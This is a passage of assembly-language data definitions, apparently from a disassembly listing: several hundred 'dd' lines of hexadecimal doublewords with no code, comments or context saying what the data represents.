0C5482953h dd 0BDF18120h, 0E793D261h, 0ED578C4Fh, 5FB25585h, 17D14975h dd 0A00680D2h, 57A4DC92h, 135237E1h, 947E09C5h, 21707417h dd 6AEC6935h, 0DC5EC657h, 0FCD23430h, 0BBBCA8ADh, 0BE8C979Eh dd 313C9F8h, 0E126402Bh, 7953A159h, 6ECE68F8h, 7EC94608h dd 26C97628h, 374AD3BDh, 8AF341DAh, 0D28A55A5h, 2FBAB739h dd 364B34D5h, 0E9D384D1h, 95631A3Dh, 0AD6C9329h, 993E5760h dd 5B9BBAA1h, 8B789565h, 4F4E13EBh, 6A602E13h, 83B1129Ah dd 3EA6E8FFh, 0CDE5E593h, 14724143h, 5D95A0A9h, 5DCA80FBh dd 43A2C4C8h, 31E0A149h, 1C5344AFh, 8095CCAh, 9A09CAAEh dd 67B5D617h, 268D3070h, 3FF7831Fh, 0B34CC6BEh, 0BCB3BA3Fh dd 0AECF1677h, 5C119898h, 2B985DBh, 0D5D7A1D3h, 0A2E96D4Eh dd 0B123B803h, 0D773D3D9h, 0FF8E0824h, 97714034h, 9A0114B8h dd 0DD9F7645h, 38446CF0h, 0B1DF7E6Bh, 44492E3h, 0BFFCB32Bh dd 0E54CC59Bh, 0D50579E9h, 0B85AB1A6h, 35231FDAh, 0C474DE1Ch dd 2ACB832Fh, 0CB99E145h, 0D357249Eh, 9AA4B19Eh, 524E6D6Ch dd 5FA2620Dh, 0CAB25850h, 0DE5BCAA7h, 0B819B21h, 5FDB7800h dd 716513E9h, 69AD1C9Dh, 9753504Ch, 2E33EBA1h, 46CC9F00h dd 60124CF7h, 6DB9EF28h, 72E3B267h, 180365D0h, 7C9BDA3Dh dd 56790305h, 1256F8FAh, 9C88336Dh, 0A45F3362h, 0B94AEA6Bh dd 82218A88h, 21ABD057h, 7D80D240h, 8F8699D4h, 0AC0A7F3Fh dd 782BD203h, 3A8D8A10h, 82675B32h, 0A64B01F4h, 0B6496A95h dd 35962189h, 0A04DA949h, 62A1573h, 354AE9B7h, 628B6E57h dd 0A4698105h, 4364D4E6h, 9845569Bh, 0FEC7CDAFh, 0A4E85BDEh dd 9845D3Ah, 813AB05Ah, 0F971CDB8h, 0A349DD03h, 30CA1F8Ch dd 0B7FDB8A1h, 76EA1706h, 585857C6h, 313D952Fh, 444BE892h dd 4067093h, 901D4C9Ch, 38E00715h, 0FFC17743h, 0B823414Bh dd 69564651h, 1F992E98h, 0F9D5CBD0h, 5725D997h, 0FDF5AD4Eh dd 29470A20h, 0DCBDA900h, 0C3B66C99h, 0B93D35h, 0EB428D03h dd 320177B3h, 7CF0B5E1h, 1A3E7006h, 0C49EE429h, 3EA962BBh dd 47E3C39Dh, 6DFED4D8h, 0C3E33A4Dh, 404B39FAh, 47BC79BFh dd 777649E0h, 0C2F40606h, 81B8B8CFh, 31485FC2h, 1B0256C3h dd 76A84DA6h, 0AD630409h, 0D5AE892Ah, 0E4394FB4h, 0D992358Eh dd 0E9529DFAh, 57E208B5h, 865CC186h, 54BFE62Bh, 2D018E81h dd 0F50D2A86h, 0CC8EA2EBh dd 455D88A7h, 6C47ADAAh, 503CB74h, 11D66A87h, 0B707FD14h dd 0B1B1BF03h, 0F4514AC3h, 0DBB1CCBh, 90BACCD3h, 3745A80Ah dd 88D778C0h, 0E6411482h, 841CE565h, 0C8F2A154h, 7ED6D152h dd 0F454A9FDh, 32BB0904h, 8B75E697h, 76B0E056h, 5221DE68h dd 0F31B17DEh, 0F80F6F69h, 0E42FE215h, 0FE72C702h, 0F7AA031Fh dd 22FA0512h, 27EF7D2Fh, 0E2B29721h, 3E3B8995h, 931CB13Fh dd 1CF96E17h, 43B34AF2h, 16881B60h, 0FFC2F3B5h, 90DF0895h dd 8844D599h, 0FA6EE158h, 83FB224Dh, 6008C7ABh, 8B0446h dd 0CA2394D0h, 2A06869h, 0F17741FBh, 0BAD72A87h, 8003BD63h dd 55091A4Ah, 0F15EAA88h, 1BDFB9CDh, 49FADBA6h, 63BF27F5h dd 0E5F6C6A6h, 4C171719h, 526C660Fh, 224C1435h, 0B27275EDh dd 8080B256h, 56E91F10h, 0A28E3FE4h, 0E3995538h, 26A31F21h dd 0B71026F5h, 2D5CB200h, 0AE8581A3h, 58F7ED99h, 54FF5190h dd 5F6F856Eh, 0E78C0CECh, 0C99B13FEh, 0BA08521Ch, 2A858118h dd 4A5A0B94h, 5A682D36h, 3262C532h, 0FA89FF4Ah, 22815F4h dd 1A2F08F1h, 39A8495Ah, 50E6D0Bh, 1B750710h, 0AB2E1ED6h dd 1669AF70h, 53E20C95h, 89053853h, 0A4901022h, 7168E843h dd 548F2F29h, 0A97E30A2h, 0AE2310C2h, 0DBFA2BF6h, 4B73A239h dd 27C15BDDh, 5831333Ah, 15AD2255h, 0B92DA9DAh, 22B4252Eh dd 2FEBC7h, 0FB277682h, 46CDC2FDh, 5B1C6034h, 78F43463h dd 0EC680EFAh, 0E0463CD8h, 96C352C5h, 66A49098h, 640FB7C7h dd 48828D41h, 0A3460963h, 1334FB54h, 0B899490h, 0F3733CC4h dd 9F55D4E0h, 0E02D1A87h, 0F9B1C53Ah, 489B54C9h, 0BFFE336h dd 8CA51663h, 2303B4CBh, 94558F4Fh, 936114E8h, 88132C38h dd 82A50A69h, 0C229D7EFh, 3B2A3A85h, 0F5E6BC89h, 0EA8796EDh dd 0C24E9E44h, 0C664D193h, 4130AD12h, 0D064B173h, 9E96233Ah dd 0BCBDDA48h, 0C1F6399Ch, 561572B8h, 84CD78C9h, 45E4B743h dd 0D7A50321h, 371DD23Ch, 0AC70FD1Fh, 2F813F30h, 556DBB6Ah dd 0D57BC91Ah, 6DDB2809h, 83395EE2h, 0D4DA1683h, 1B5B3305h dd 4259695Ch, 990A129Bh, 95DBB25Ah, 9C1B9217h, 0D51C90A8h dd 4970300Dh, 6E47FF4Dh, 39ADBD5Eh, 44BF29B4h, 387D38A1h dd 0C08019E0h, 0D55E9C7Ah, 724004EEh, 13246829h, 4FAB1962h dd 8F6BC50Dh, 0F7A7AB35h, 0A1FA5E2Eh, 14DF6A1Bh, 0AD475FFDh dd 0E7FACFCCh, 95342410h, 0F138741h, 1099A7C4h, 0B38252F0h dd 0A17E8674h, 0E50FC5EBh, 2BF65205h, 2C675798h, 251C038Eh dd 9CC6A7A0h, 7DB47B56h, 0FD003078h, 0E86F4C05h, 0DC70713Ch dd 2E30B57h, 0B4A07D6Bh, 64283775h, 0F075949Ah, 4F9DCE50h dd 80DBF549h, 2130648Bh, 77FAF215h, 4DBF2728h, 24607345h dd 0F87366Ch, 4EB1B60Ah, 0E9336B23h, 0B6CBE454h, 0A4D9234Bh dd 698055EEh, 42128C8Bh, 0DC6EF47Dh, 933230A5h, 21FD2298h dd 0FFAF66B3h, 0B3C4016Ah, 2A21C069h, 0D84C60A3h, 0DE81AD13h dd 3287A200h, 5A336812h, 0C90AE761h, 5FB73BADh, 55D72778h dd 0B16586A2h, 0E8110C2Fh, 94FB227Ah, 0D084D073h, 9053CACEh dd 0C9689D24h, 1AD42251h, 0AB1EB8D3h, 0BA61EFh, 403917B9h dd 414937E2h, 4CB9110Fh, 17D68FDBh, 83E94DC8h, 615E7D45h dd 0C029041Dh, 0E9B2C78Fh, 5E79041Dh, 5838D9C7h, 0BC3AA45Fh dd 44BD9B0Fh, 0CEF3BF8Fh, 1D3A8F2Bh, 2656C651h, 0F568D120h dd 0BD8C1DF8h, 0C0DEFA12h, 14995563h, 7C0A4B5Ch, 0B86B3491h dd 0B2F1D8F5h, 0F30F4C33h, 0D49DA4C5h, 225E5719h, 602CBF53h dd 6D244A43h, 0E94E0366h, 0BAAB0F34h, 27D64A87h, 0F4738840h dd 0C902054Dh, 2BACDE4Bh, 590C6637h, 4FAC71B7h, 53FF963Eh dd 0C871D49Eh, 1ECB2217h, 0D6D3FD1h, 1DF40D8Eh, 7EA79B5Fh dd 24DACDA2h, 4D0460Bh, 106ACE32h, 0E6C8DDD7h, 908F9450h dd 0BD43C7F3h, 0AF9F2E7h, 9680B979h, 0FED40EA2h, 75D4121Fh dd 0CABB8B04h, 49C997A4h, 82437C9Eh, 1E533163h, 80D8F43Eh dd 0CDD21053h, 40637467h, 6198A46h, 0F90D5A51h, 8A50C4A3h dd 0D953B917h, 0AD79E812h, 0F98F78EFh, 0A572509Ch, 0D3E21DFCh dd 0AA1C6C2Ch, 3B6C8EDEh, 5C15C33Dh, 51E016EEh, 6F9ED0DEh dd 0C6A6EB3Eh, 4413AC72h, 0B6A3D981h, 0AD3DEF12h, 64696C78h dd 2788507Dh, 729C7278h, 6D040D5Ch, 0A27248EEh, 81E50B5Ah dd 73AF46C2h, 3E804BF0h, 40A0D533h, 0ECD5B015h, 2E75AC16h dd 33AE3C84h, 0BBCFCA6Bh, 0D8B2AC94h, 30A77E2Fh, 90E1832Ah dd 7D5E5DE2h, 0CE030B0Ah, 0AB6E8E3Ch, 4B4675AEh, 0FC1C6243h dd 0A23CB163h, 0EE0B30E1h, 0B39579Eh, 0C8B70B12h, 0DAAC6C75h dd 0DEAADD9Bh, 601A71F8h, 0B8BB3828h, 0E961E51Dh, 0D693D20Ch dd 0AE7EF3AEh, 0EB3D3B6Eh, 5ACA126Ah, 5D4D5D2h, 65265ADDh dd 4A9EA478h, 20CC55E0h, 0F75B5EFEh, 0FC865F49h, 0D8ACD4AFh dd 0CEEE2C6Ah, 8572DBAh, 6731554Fh, 77BE205Bh, 5AE9ABF0h dd 0CACA62FFh, 47F1E2E2h, 54DF9567h, 7903DDA7h, 15745797h dd 8FB3BEA6h, 0DDB37D8Fh, 5D0ECB06h, 0E8D7F5A7h, 0B1D5CF2Bh dd 0E9249893h, 334B2FE8h, 2567082Bh, 56B1856Ah, 6EF5BE3Fh dd 1C373242h, 0C203FAF7h, 58381215h, 0D29CFD79h, 5DBD72FBh dd 67E06A1Ah, 0A230F264h, 2268A480h, 0F46C1DAFh, 0EEB96B87h dd 0A7DAD3F9h, 0DC96F79Ch, 0A053FF23h, 326A35E8h, 5B07044Eh dd 9B20759Eh, 0DBD999BAh, 4C5C5F0Eh, 850E0B11h, 0B279664Dh dd 71523B4Ch, 61F50B3h, 1C584607h, 73C6ABE7h, 0E9607D95h dd 0CBF912C7h, 0C4AD2F6Ch, 0A653EBC5h, 0A2AEE439h, 0B9B65C37h dd 535E505Fh, 5B754A2Eh, 894684CFh, 0A00B88E4h, 5A3C6FDh dd 149A9B4Fh, 16BF8B1Ch, 5797FD08h, 8CBAC11Ch, 0A38A2D49h dd 7F4B23A4h, 29E1241Ah, 24FAB7B8h, 0CD8FE999h, 6EBC7D7Fh dd 0E0439B4Dh, 0ED80EF00h, 0EA9271E0h, 2CD23112h, 60027129h dd 0DC6A847h, 0E6787287h, 0F5A95011h, 0EC6D3808h, 0C429C04h dd 883E8D39h, 8F4D4138h, 0E663C62Ah, 0E3C535AFh, 5936738Eh dd 0F3D0E47Ch, 0C1D1BE28h, 0AFD0136Fh, 728EFDFDh, 69A9D3BAh dd 0F75F5A20h, 0BEF267C8h, 0ED920D08h, 0DC363C2Dh, 0EC00E37Bh dd 2F167C3h, 0BDBE4FE4h, 0E914FABh, 56F844C7h, 0C8CFA244h dd 8D2232CFh, 0CCF204Ch, 9C379D7h, 0F0FB7FD4h, 0AD4D697Ch dd 7F48F156h, 3E31402Ah, 63749B98h, 41776640h, 400BCF38h dd 0AB17395Fh, 0D4C1A811h, 997672C7h, 0EFE7A8ABh, 37A4EE58h dd 0EA846ACDh, 0B1FD94E8h, 2C0CC4E1h, 1A524562h, 9EBE6C0Ch dd 13DAFC45h, 0F55C70D7h, 8B66B7ABh, 3E4510B6h, 0FDE48DA3h dd 0C90B25A7h, 978C99Dh, 24D0D44Dh, 50458B73h, 0A5073B6Eh dd 0EB2309D4h, 0AB912890h, 0A09569A6h, 69624D5Ch, 4B0CA37Bh dd 0F755680Bh, 0EDB5EC5Ah, 43D02533h, 0BCBCE47Ah, 0B21719ABh dd 0A0216C87h, 42A38511h, 24557119h, 5CFD1FBEh, 255CC535h dd 698570FFh, 1BC05BDAh, 7F4826CBh, 6868C8E7h, 0E9280BC4h dd 0C4D2E0C4h, 5E438CDCh, 2CE74FD1h, 70F60250h, 0D544F112h dd 1582EB60h, 0A25B21BBh, 3C51C4E3h, 0FD8349D6h, 31AC458Bh dd 7CF62431h, 455281B2h, 70DAEBCEh, 7C20BBF6h, 4EB0B4BFh dd 0A3BDBD11h, 9535199Bh, 0CEFEA2FAh, 58F5D09Ah, 0A46932E9h dd 8FD744C4h, 5F2DF5A2h, 83D53265h, 0F240371Eh, 36585B25h dd 0ACB1AB2Fh, 9799784Ch, 0F8701034h, 5B82BC91h, 3331D361h dd 6CE5380h, 3498AEAAh dd 48008FF4h, 67D74DFCh, 0B6F6E798h, 88A902DAh, 0D62E237Ch dd 0FAE31A82h, 92B18B72h, 0B6BCBDA8h, 0A48D851Dh, 54F24525h dd 0EEDA10E9h, 93F93FDBh, 62A154A0h, 0A6011958h, 0E79F0B47h dd 3F1489A2h, 0D43A9388h, 47CAF4D0h, 0EBB4446Ah, 438F41E7h dd 0CB6B710Dh, 0F15B6FB4h, 7FBCFA90h, 12EC5D7Dh, 0FB26055Fh dd 346CFC1Ah, 332D7639h, 95015061h, 458A65A9h, 7C4505D1h dd 0AB4ECE25h, 350ADEC5h, 7F0A001Dh, 48CA8A57h, 0AF2B75AEh dd 2C38694h, 5F6BCCh, 0A86D6DC8h, 0ACFB738Ch, 0BB63B4B4h dd 0FAFBC560h, 67B182F2h, 0F11EB859h, 71985D8h, 374F9E34h dd 8B4E3D17h, 0D4BAC3C8h, 56F27A40h, 8ECC369Dh, 0D230919Bh dd 0FD3BD578h, 4715A026h, 2E4CB5C7h, 103254AFh, 922DA665h dd 2660CCDCh, 0EC585B10h, 0C9C18C32h, 0F45EA932h, 6D702E40h dd 0D01B7A52h, 4E356D6Fh, 36471EE5h, 590E07BEh, 6F392E84h dd 0E46D1C2Fh, 489540EBh, 7BF27A4h, 8E6AF0F6h, 0B48958FBh dd 0D6A0C93Fh, 9F24B5ACh, 18CA1BADh, 387C53A2h, 68ED0C1Ah dd 582A24D5h, 9017CD76h, 9B8B149Eh, 0B2BCA402h, 0C5E0F6D3h dd 9CC7548Bh, 51346050h, 893F3E80h, 0DCA8E888h, 6B6E73BDh dd 24F8098Ch, 4CB127E9h, 6BA5231Ch, 814FFBAAh, 0CC44A13Eh dd 2EE09DE4h, 507493A1h, 126B8AA4h, 150B0340h, 0F5AC02CDh dd 0A9285535h, 0AF3B68CAh, 2BEEC974h, 0F2F2D487h, 57D6C1B5h dd 81144495h, 2AF3FF30h, 667FEF9Fh, 3CA63199h, 2D083C70h dd 0BF49FA9Dh, 0A5909B1h, 333BDFC6h, 6FD2BFC8h, 3FA8463Bh dd 13A15EAFh, 0E1104767h, 5C941FA5h, 42D06299h, 8F1D9BFCh dd 2090BD63h, 2825D6F6h, 1F673E7Bh, 2F02B189h, 41871CBEh dd 0B4F95B03h, 417EAEABh, 0F1F6B3ECh, 84454763h, 0B6FD88FBh dd 34E16F80h, 92CB6C34h, 0F2947A31h, 0DB9172DDh, 418E014Ch dd 8964244Ah, 888B3250h, 0DB833403h, 0D1CE0B4h, 2AF99CD6h dd 0E797F0CDh, 192772F9h, 0B62CF556h, 425FADh, 6E4DD446h dd 0F84E7CF9h, 1B5D7301h, 5C95B984h, 0A78A0F3Ch, 7AFA301Fh dd 629776Eh, 0DBE676E7h, 0A67CDA00h, 5D382128h, 95EF9CA7h dd 73E8D905h, 389DE051h, 5983D2F5h, 33FC84DDh, 0AEC4DF58h dd 7BA588B0h, 9267D01Bh, 5914D7CEh, 0CE5A654Eh, 314BD926h dd 37E2C5B7h, 0E2375A51h, 3C76F683h, 6D78CE14h, 859CA7F6h dd 5020A73Eh, 3AC65E7Ah, 0F55FFE4Eh, 596EAE39h, 8A636671h dd 149B0C6Ah, 881C75E9h, 0DCBB2CAEh, 0A80FE105h, 0FFBDA99Bh dd 547CA920h, 165B21B4h, 9814C61h, 198692A4h, 0E5595443h dd 0C2DD800Ah, 0E5AA08F0h, 7A6A3487h, 0DFCC603h, 0D72397BFh dd 2A5956BFh, 5EC30CFBh, 0CD9134AAh, 3AAF3F78h, 35A4A5A5h dd 0EE94E711h, 0A5C82933h, 8EA6F9D6h, 8B87B376h, 0C193EE46h dd 0B2082A79h, 87931AE5h, 0FDFFFF33h, 60FE6496h, 0D989D247h dd 0AB885823h, 9A92B4DCh, 0FFC74656h, 83B024C0h, 18683997h dd 8E44CCA3h, 609A9CFBh, 0F6A04623h, 9814A525h, 1CBA3206h dd 0E302C6C0h, 83963FA7h, 99673E53h, 9CB18D88h, 9593F0BEh dd 0A6B2095Eh, 0C48590AFh, 5D7FC25h, 53E1E874h, 7352E5F6h dd 36CD3A3Fh, 0E1A56913h, 997C911Fh, 172EFF29h, 0ADFEF457h dd 1DED2BCDh, 74AE564Fh, 5DF05A8Dh, 7949A63Eh, 8E3E91E5h dd 1EC8079Dh, 68E33AADh, 0F50A7970h, 8491156Fh, 451E49AEh dd 0E8D94CCAh, 3408B834h, 2C840CC8h, 83747660h, 0F9A250F8h dd 837217DAh, 8B280944h, 0ED56B9A2h, 432433FEh, 19C750A2h dd 0CCF2C4BFh, 0FD455A81h, 7BEFBB5Eh, 95CF588Fh, 58DB49E1h dd 4322BA3h, 0E93F69D9h, 1C2CD93Ah, 8213AF89h, 222C3CBBh dd 77EF50EDh, 0B98873A8h, 15248AB3h, 2334F899h, 885C771Eh dd 64679AABh, 0AE0A209Bh, 2315BF58h, 9BCC9BE5h, 12EBE2E3h dd 0B8FB8260h, 97E837F9h, 0F20FC61Dh, 52C331CCh, 319F1CBEh dd 564E4FA5h, 0C5E3F5E1h, 1640597Fh, 0CA06288Dh, 0A16D4A0h dd 0E14D6D2Dh, 0B00D5A65h, 0D19212BBh, 64B21B71h, 1451B4B8h dd 0A7129ED5h, 5D610A15h, 0CAB39D63h, 0D5575286h, 6F4D317Ah dd 15E65628h, 7DD55A7Dh, 0E6742EBBh, 60A8A347h, 6AF6C58Bh dd 1E196C43h, 0C5CF0407h, 0A369E916h, 5F399BF6h, 7C992A4Eh dd 2C4DAEEBh, 1AED61DBh, 6D295033h, 0C95B4C8Dh, 7EAC5278h dd 0D2D02E7Dh, 46C642BFh, 1625125Bh, 0A9B1FF51h, 76FD9C9Dh dd 2D230EE9h, 0F5D6148Eh, 13E2231Fh, 0D98171B9h, 0E812E36Ch dd 0B1B10714h, 9792D51Ch, 0B934EFFCh, 1EF4F7Fh, 0F9C11793h dd 39596B3Bh, 0E7A5E3C3h, 93A3E82Ch, 0A29B0100h, 0FF7A9277h dd 0B008DA16h, 0D026F24h, 0ECDCE407h, 0D58C23BDh, 0BABB3C28h dd 6E618F4Dh, 0C4041011h, 0E515C992h, 4EA0A5B3h, 0C0F952D5h dd 0C9745003h, 3C306E4Fh, 35212FFCh, 0FECE448Ah, 0E0EBFD32h dd 16F04388h, 48B19D93h, 1129D116h, 1604095Dh, 7CE7FF8Bh dd 57670DCCh, 1FB9D338h, 4A3A018h, 63F25308h, 7F25F64Eh dd 8AB43DBFh, 81935ADFh, 4F2FBC5Fh, 0E1CFDE47h, 0A34F4812h dd 11E3C019h, 0A87A2666h, 788C9C4Ch, 18A88692h, 0A2F17082h dd 75341150h, 54CB2244h, 0C205A326h, 7EDADBAFh, 8E92DB08h dd 0EB51E0Bh, 33A4D580h, 0DF14B517h, 2C8EA795h, 9340B29Fh dd 15596D7Dh, 0DC4EFBC5h, 0C12D8171h, 0A6AD9653h, 474FF1A4h dd 0B9C8D927h, 0FA5C8F30h, 4194419Ch, 0D89AD90Ah, 0F68B9AEAh dd 16F95603h, 7919DB28h, 0BF5ECC44h, 5B145861h, 0D3A44E63h dd 925DD3Dh, 28364C69h, 6CBC58E5h, 110F505Dh, 0A607E8E3h dd 47A98BC3h, 0F51477E1h, 42A57EEEh, 61C6A1E3h, 679A4098h dd 2BBFD2A6h, 2E86548Ch, 3736E670h, 0C7159CB9h, 0FCD19B86h dd 0E519DA58h, 2D69D6E0h, 53ED8E5Fh, 41018F48h, 7A78E4CEh dd 67AB00F5h, 750A41A4h, 74F2C71h, 19464C68h, 8C43A133h dd 1C63836Ch, 39555DFAh, 0D17902C4h, 2CB0DF39h, 0C7BA794Fh dd 8529709Ah, 6D68D3DBh, 9F6AEA33h, 0C34E011Eh, 0B27E8D98h dd 45719D3Eh, 0BCE0E518h, 3AF33CBFh, 0B04C2700h, 0EF418160h dd 0B5545694h, 327752B4h, 0EAE84050h, 9A09A5B9h, 0F8AFF989h dd 56799094h, 558D0016h, 90BB95E0h, 0B3E955D0h, 70DE856Ch dd 0E4FFD85Bh, 49ED4B8Ch, 0C83F185Ah, 0E8B3891Ch, 0C8CD2C44h dd 36CDA633h, 82621808h, 0AA4988D0h, 85C8B98Dh, 0F30B82AEh dd 32E7B2A8h, 0F2E9C372h, 4270C74Eh, 74671D0h, 0E885245Bh dd 46155914h, 0DB964124h, 9636A464h, 0D437BC1h, 0D42D471Fh dd 0C469890Fh, 9260DE8h, 7C7103A1h, 92D70CD3h, 4CE15CA1h dd 5EB99127h, 4CF5111h, 0EBCDB763h, 2A95A3CDh, 0B42519A7h dd 0E48E723Ah, 0C27500BDh, 195AD707h, 9719C546h, 0DF3ECA97h dd 657C03C9h, 0C596C185h, 0F73B015Fh, 8C4D80DCh, 0D890C1D3h dd 0D2A92069h, 629BFFF7h, 0F74FA5E0h, 0D14B5AEAh, 0CB8E3C36h dd 3E072D6Bh, 10FE4728h, 0B870ECDFh, 1C727C23h, 0BDDD2A38h dd 19270996h, 0FC699A29h, 41797FA6h, 0D16EED47h, 0B7BA9038h dd 328F7CEEh, 0FF35695Ah, 0CE58A1BAh, 0D64D7045h, 188673AEh dd 0B5044DB7h, 81CF3F0Fh, 952C1FA6h, 75F9B06Fh, 84ACECDBh dd 5DC08339h, 0BC7688ABh, 0E9B589CFh, 0B7CA375Ah, 59EA11ADh dd 0D5510D2Bh, 0A98E607h, 4E2F1693h, 0DE5E2A9Ah, 21FDD3A0h dd 336D5446h, 342B178h, 9820A63Eh, 5B45EDC7h, 449F4AD7h dd 7475CBC1h, 0DBDA6EECh dd 0DC9CF780h, 0D3C36BFEh, 75CE73E5h, 0A829F97Fh, 4D66C316h dd 522D714Dh, 9C13732h, 57308429h, 2F1FF698h, 0CC2F5577h dd 2B02C50Eh, 0AF5943D1h, 3E4F8C88h, 0BF1E9F98h, 3FC45E54h dd 29EF83AFh, 0E79554C2h, 0C39BD277h, 7E27233Bh, 36911E54h dd 2930A714h, 3FE296C2h, 0FE2A63FBh, 0A0357DCAh, 0CE7B3700h dd 0E2CF3B72h, 0A13F0A97h, 2372B7Ch, 110058Dh, 4BDA44C4h dd 40634E93h, 0BF17A12Ah, 0F8C69417h, 0A47EDDEBh, 4B82DD18h dd 0A3DAA5CAh, 4B715BD9h, 821AB0FFh, 65248DDFh, 1ACA6C7Ch dd 0E65D3176h, 197527EBh, 0A07B51AEh, 0A55A5D72h, 0A01032CBh dd 21E3BD88h, 0AD04D3A3h, 1BCB7F20h, 6476680Ch, 0CE932575h dd 22C2429Ah, 205169DAh, 69D7EEE0h, 2AD7BFDBh, 7FF1D540h dd 7CDE92F1h, 7C0DB84h, 21E14509h, 0FE9AEF52h, 5F4076FDh dd 1D9A126Eh, 0DE3BE80Ch, 65CC27E5h, 7731DEFFh, 0E9EFDC68h dd 838AE2F6h, 48AB7A1Fh, 3749854Ah, 324A98D6h, 99A7A477h dd 1729B406h, 0B5C02CEBh, 0B2D3535Ah, 732A034Ch, 2D323C00h dd 0DBFE8182h, 7FA7E37Fh, 1DDBF452h, 0A1F54751h, 0BEBB9417h dd 1D6D4F01h, 0AF6D7BEBh, 83C77462h, 0BEBB4F74h, 12579A87h dd 0BE2B1824h, 7E25C98Ch, 0A0EFF7B9h, 0DEC29AF7h, 0AB91B695h dd 0D015787Dh, 4C62CB88h, 9EBF943Ch, 11EBBAE3h, 0FDC1B0CAh dd 0EC861EA4h, 0C5DC507h, 0D2A99DBEh, 37AE7FB8h, 0C65575C3h dd 7903A1AEh, 0EB7AA7C6h, 894C22ECh, 35F87B7h, 92A8058Dh dd 607303C3h, 6444AC25h, 4D170248h, 9709F361h, 2845DAE7h dd 0FC837D41h, 87607E19h, 0FF196056h, 56C844A8h, 98C183E2h dd 10D88F57h, 0E8F22533h, 0CE86374Fh, 161F657Ah, 9B89FA07h dd 7958837Ch, 3FDEA8BCh, 94E50D16h, 0A2B2EC1Eh, 5F159E4Ch dd 2ACD8470h, 7FC190B5h, 953EBD8Dh, 47CCB5A7h, 0A3A3A143h dd 2478BC84h, 95CD2C4Eh, 5AA027CEh, 8F605F62h, 8FFCEA53h dd 3B272F8Ah, 3CF3C309h, 798E0ADDh, 0A269F41Ch, 389EC3E9h dd 217E7D01h, 0E59290A3h, 94649F77h, 456B9C86h, 0A31253F1h dd 0F7C24FCEh, 0E1FFF0E4h, 0DA625AA1h, 5E9FD7FAh, 0DB0A452Fh dd 4BAEBD17h, 5FABBFFCh, 7963D9D0h, 4ABE7E3Eh, 8E4B6268h dd 0DDB086C2h, 0B1EB8D98h, 0A020D543h, 0FC35B684h, 0B1654CC7h dd 5CDEC38Fh, 45BC148Ch, 888B0B1Ch, 0E532CF07h, 0EA4ABC46h dd 3A0F567Dh, 34B63CECh, 36E3142Eh, 0A93D35D8h, 84D409CAh dd 0E804646Ch, 776B4D48h, 0F7F5A6C8h, 6CF7655Bh, 20B3264Ch dd 0DED0914Fh, 35072613h, 1B4E8875h, 32274B22h, 0DDA13FB4h dd 0C06AB922h, 13A09E1Bh, 0AFBC8636h, 0C8EFF4FEh, 7CFE9D06h dd 76A337Eh, 0FEA64597h, 80B446F6h, 25481368h, 15B1CE16h dd 0AD13A954h, 0F5C1EEEBh, 41DB006Fh, 0F011CDA8h, 66E6CC46h dd 484D724Eh, 4CFAD69Fh, 0C1F209B7h, 9C7D2671h, 0B461F432h dd 0F155C2DFh, 0DCE32E84h, 24D0B393h, 3F652EC0h, 0ADBD98D3h dd 27544C5Dh, 9B17834Dh, 0ED3060D0h, 9F3A1B57h, 17765821h dd 580C669h, 0FA6DC5Ch, 80145440h, 25D02427h, 0BEB31F48h dd 0D98DE379h, 33D00ADDh, 0A304F244h, 9AB3F16Dh, 1D8AB1D0h dd 2EDA0890h, 34688944h, 85FC9DE6h, 0A7D9808Ch, 0EC859C5Fh dd 0D3ABEC32h, 0CFB56DAh, 0ED6F017Dh, 2A62DA13h, 9159D937h dd 5F4B8A0Ah, 24072689h, 0E93EE7A1h, 202E20ABh, 7D44DC35h dd 2FB8C859h, 7B5656F4h, 0EDCA611Bh, 7FBC7146h, 0E8E9694Ah dd 4407B7BDh, 1F902C07h, 0E51C4B87h, 766DDF9h, 0B9CBB6EFh dd 1C4391C2h, 11A7AA5Bh, 0A2FFFE6Eh, 16DA4056h, 4350C0A9h dd 7E23DFDDh, 36D96Dh, 0C3D06C04h, 0EED0B4AEh, 90E989A8h dd 13A01162h, 5292C3E2h, 0ED69504Fh, 3D5AAD6Ch, 3E40DBECh dd 0E467BA13h, 9CB43711h, 11CCCBB1h, 8F76F639h, 0A73A9D75h dd 2BFA7434h, 6C010F6Ah, 9C503D04h, 0EC984F87h, 9B2F7959h dd 0A9B6CBEh, 0E855E9B5h, 9575D5C0h, 8608B879h, 1168F699h dd 1522F5CFh, 0DA093553h, 7347DD70h, 967B2D00h, 22F7BB3h dd 59281E4h, 82385090h, 0FBDF63F2h, 90B4A56Fh, 58A08039h dd 2D37E119h, 0E8EDC45Ch, 3420DAEBh, 2AE222ABh, 1E865B44h dd 948AE42Fh, 4E3C3751h, 7E5D7BD9h, 0B99004E9h, 0F5CCDEF8h dd 2215D2Fh, 3CA89C16h, 0B1AE6EF6h, 0A537520Ah, 0B551C617h dd 914F8416h, 69D851F7h, 9384817Bh, 0B887FA6Ah, 0B96E68Eh dd 2562BB88h, 0DF0BBDC6h, 0C18CABD3h, 0C1A300E8h, 8157CD4Dh dd 0B407A11Ch, 20629B1Ah, 4ADD83Ch, 7F3167FCh, 6D738FAh dd 0A4C4AEA0h, 0E4A0D74Ah, 0AD0C228Ah, 96205FCBh, 93C74690h dd 0CB77718Eh, 0B432E258h, 0D40757DAh, 113A0C38h, 0CDB7E051h dd 0FF0EF70Fh, 2878E712h, 0FFD75FA1h, 3A52F451h, 0E2141EFDh dd 0D25C621Ch, 3470011Bh, 29FD9CE5h, 8ED9DF1Eh, 1C48CAFCh dd 9BAAACBCh, 4247163Ah, 0EC7FEF88h, 0C85CB382h, 0BAE34B16h dd 0CDC4E4F0h, 0F9506375h, 285B0851h, 6738896Eh, 835A182Dh dd 9D5097FAh, 0BD34718h, 4A13E1B4h, 563B6A0Dh, 0B6477D27h dd 0F6BD154Ah, 181D7C48h, 89563FB7h, 0F139059Ah, 49F898ADh dd 116FECDh, 0B131C024h, 733C390Eh, 0FD530EA4h, 0BFB307D3h dd 0ABD8888Eh, 479327F6h, 0BBE07212h, 5697B10Ch, 5A4F91FFh dd 0FE1CE41Bh, 3A765384h, 0E702AA15h, 3331B940h, 0A763A1E4h dd 0DCC24089h, 2EF70BA2h, 0B2354D2h, 8F2CC0CBh, 788D503Fh dd 0F2860112h, 0A0397CDAh, 0B812A11Ch, 0D6975DEDh, 0D78E9394h dd 6C03BCD9h, 0DB44E192h, 793A5717h, 25134D57h, 602F30AFh dd 4ECF732Bh, 0F7ED7EF4h, 8D6AB5F8h, 0FB8F5CE1h, 83A06400h dd 6D691095h, 0F7D96F63h, 99422E11h, 73E73162h, 269C5730h dd 3CF7ACF7h, 2941B036h, 6147BFB8h, 889C5EFCh, 